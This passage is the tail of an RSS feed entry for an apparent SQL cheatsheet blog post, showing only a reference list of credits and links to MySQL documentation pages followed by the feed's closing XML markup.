o MSSQL Server 2005 Login Information and some other functions : Sumit Siddharth</p>
<p>* MySQL Related<br />
o Comments : <a href="http://dev.mysql.com/doc/" target="_blank">http://dev.mysql.com/doc/</a><br />
o Control Flows &#8211; <a href="http://dev.mysql.com/doc/refman/5.0/en/control-flow-functions.html" target="_blank">http://dev.mysql.com/doc/refman/5.0/&#8230;functions.html</a><br />
o MySQL Gotchas &#8211; <a href="http://sql-info.de/mysql/gotchas.htm" target="_blank">http://sql-info.de/mysql/gotchas.htm</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/08/sql-cheatsheet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

